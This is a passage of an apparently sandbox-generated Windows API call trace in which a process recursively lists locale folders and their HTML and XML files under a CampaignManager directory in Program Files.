ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x189, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.491] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.491] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.491] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0184.492] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0184.492] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8608b57, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0184.492] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0184.492] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8608b57, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0184.494] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8608b57, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.495] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa07c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.495] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x259, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.495] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.495] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.495] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.495] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0184.496] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0184.496] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x1f852a00, ftLastWriteTime.dwHighDateTime=0x1d3225d, nFileSizeHigh=0x0, nFileSizeLow=0x13d, dwReserved0=0x0, dwReserved1=0x0, cFileName="metadata.json", cAlternateFileName="METADA~1.JSO")) returned 1 [0184.496] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8663023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms-MY", cAlternateFileName="")) returned 1 [0184.496] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0184.496] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8663023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0184.529] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8663023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.529] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9c68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.530] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.530] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.530] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.530] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.530] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0184.531] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0184.531] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8664e62, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0184.531] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0184.531] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8664e62, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0184.534] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8664e62, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.534] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9653, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.534] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.534] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.534] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.534] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.534] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0184.535] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0184.535] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86afcc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-BE", cAlternateFileName="")) returned 1 [0184.535] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0184.535] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86afcc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0184.539] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86afcc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.539] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9b98, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.539] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x23d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.539] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x18b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.539] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.539] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.539] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0184.540] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0184.540] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86b1f8a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0184.540] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0184.540] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86b1f8a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484d18 [0184.543] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86b1f8a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.544] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9b98, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.544] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x23d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.544] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x18b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.544] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.544] FindNextFileW (in: hFindFile=0x484d18, 